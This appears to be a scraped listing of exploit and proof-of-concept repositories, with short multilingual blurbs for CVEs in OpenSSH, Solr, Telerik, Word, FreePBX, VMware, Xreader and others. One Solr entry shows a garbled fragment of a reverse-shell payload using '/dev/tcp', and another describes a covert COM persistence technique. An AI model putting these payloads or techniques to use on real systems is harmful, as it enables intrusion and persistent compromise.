linux_mint_poc

Уязвимость внедрения команд 'yelp' в Linux Mint 18.3-19.1 Корневая причина Обработчики URI help://, ghelp:// и man:// определены в файле /usr/share/applications/yelp.desktop, который выполняет /usr/local/bin/yelp через Exec=yelp %u всякий раз, когда вызывается один из этих обработчиков URI. Файл...

dp_cryptomg

dpcryptomg Ещё один инструмент для эксплуатации CVE-2017-9248 — криптографической уязвимости в обработчике диалогов Telerik UI for ASP.NET AJAX. Эксплуатация приводит к доступу к утилите управления файлами, способной загружать произвольные файлы, что обычно приводит к удалённому выполнению кода...

CVE-2024-6387-POC

cve-2024-6387-poc une condition de concurrence dans le gestionnaire de signal du serveur OpenSSH sshd...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

RightHand-Persistence

RightHand Закрепление вдохновлено CVE-2026-21509 C++ COM Обработчик контекстного меню для закрепления Пример реализации обработчика контекстного меню Windows на C++ и COM, демонстрирующий скрытую технику закрепления в системе. Регистрируя собственный COM-объект, ваш код выполняется всякий раз,...

Microsoft-Word-CVE-2017-0199-

Microsoft-Word-CVE-2017-0199- Описание: Microsoft Word CVE-2017-0199 подвержен RCE через HTA Handler Уязвимость удаленного выполнения кода существует в том, как Microsoft Office и WordPad анализируют специально созданные файлы. Злоумышленник, успешно воспользовавшийся этой уязвимостью, может...

CVE-2025-47810

PunkBuster LPI CVE-2025-47810 Contexte PunkBuster s'installe sous la forme de deux services, et d'un pilote noyau optionnel. PnkBstrA : Service qui s'exécute en permanence en arrière-plan et qui est chargé de gérer PunkBuster dans son ensemble PnkBstrB : Service qui démarre lorsqu'un jeu protégé...

CVE-2019-5096-GoAhead-Web-Server-Dos-Exploit

CVE-2019-5096 Use After Free Dos Exploit python TriggerDOS.py ip Analyse de la vulnérabilité https://github.com/embedthis/goahead.git Lien GitHub GoAhead git diff du correctif Analyse du code clé Dans le code, localisez upload.c:370, on peut voir que dans wp-currentFile=0 avant l'exécution de...

CVE-2022-1077

CVE-2022-1077 Description Une vulnérabilité a été trouvée dans TEM FLEX-1080 et FLEX-1085 1.6.0. Elle a été déclarée comme problématique. Cette vulnérabilité affecte log.cgi du composant Log Handler. Une requête directe conduit à la divulgation d'informations matérielles. L'attaque peut être lanc...

CVE-2019-12401

CVE-2019-12401 : Bombe XML dans Apache Solr Les versions de Solr antérieures à 5.0.0 sont vulnérables à une attaque par consommation de ressources XML également connue sous le nom de Lol Bomb via son gestionnaire de mise à jour. En exploitant les éléments de type DOCTYPE et ENTITY du XML,...

CVE-2024-6387

CVE-2024-6387 - PoC 📜 Description Note : Ce script est un prototype rapide de PoC, attendez-vous à des erreurs et des bugs éventuels. Testé sur : Kali Linux, ParrotSec, Ubuntu 22.04 Vulnérabilité d'exécution de code à distance non authentifiée dans le serveur OpenSSH Une condition de concurrence...

EUVD-2026-92012

A vulnerability has been found in Linux Mint Xreader up to 4.6.9. Impacted is the function gfilegetchild of the file shell/ev-window.c of the component PDF Attachment Saving Handler. Such manipulation of the argument attachment leads to path traversal. The attack may be performed from remote. The...

CVE-2026-104983

A path traversal vulnerability exists in Linux Mint Xreader up to version 4.6.9 . The flaw resides in the PDF Attachment Saving Handler component, specifically within the g_file_get_child function of the shell/ev-window.c file. By manipulating the attachment argument, an attacker may perform a re...

CVE-2022-30075

CVE-2022-30075 Аутентифицированное удаленное выполнение кода в маршрутизаторах Tp-Link Затронутые устройства Если ваш маршрутизатор Tp-Link имеет функцию резервного копирования и восстановления, а прошивка старше июня 2022 года, он, вероятно, уязвим. Протестировано на Tp-Link Archer AX50, другие...

CVE-2025-57819-poc

CVE-2025-57819 — FreePBX SQLi non authentifiée → RCE Exploit one-shot pour l'injection SQL non authentifiée du Endpoint Manager de FreePBX CVE-2025-57819, chaînée en exécution de code à distance via la table cronjobs de FreePBX. Réservé aux tests de sécurité autorisés / CTF. Vulnérabilité Le...

UI_CVE-2017-9248

UICVE-2017-9248 Exploit d'oracle de chiffrement basé sur Base64 pour CVE-2017-9248 gestionnaire de dialogue Telerik UI for ASP.NET AJAX...

CVE-2026-104982

A path traversal vulnerability exists in Linux Mint Xreader up to version 4.6.5 . The flaw resides in the EPUB File Handler component, specifically affecting the setup_document_content_list/g_strdup_printf functions within the backend/epub/epub-document.c file. This vulnerability can be exploited...

EUVD-2026-91986

A flaw has been found in Linux Mint Xreader up to 4.6.5. This issue affects the function setupdocumentcontentlist/gstrdupprintf of the file backend/epub/epub-document.c of the component EPUB File Handler. This manipulation causes path traversal. The attack is possible to be carried out remotely...

CVE-2022-22954_VMware_PoC

CVE-2022-22954 PoC - Injection de modèle côté serveur Freemarker dans VMware Workspace ONE Access Une vulnérabilité, classée comme très critique, a été trouvée dans Vmware Workspace ONE Access et Identity Manager. Le composant affecté est Template Handler. Référence : https://vuldb.com/?id.196644...

CVE-2016-2334

Exploitation de la vulnérabilité CVE-2016-2334 dans 7zip HFS+ hfsGenerator.py Script utilisé pour générer un fichier HFS+ heap.js Script WinDbg js. Après avoir chargé le script, configurez le hook d'allocation de la manière suivante : bp ntdll!RtlAllocateHeap "pt "dx...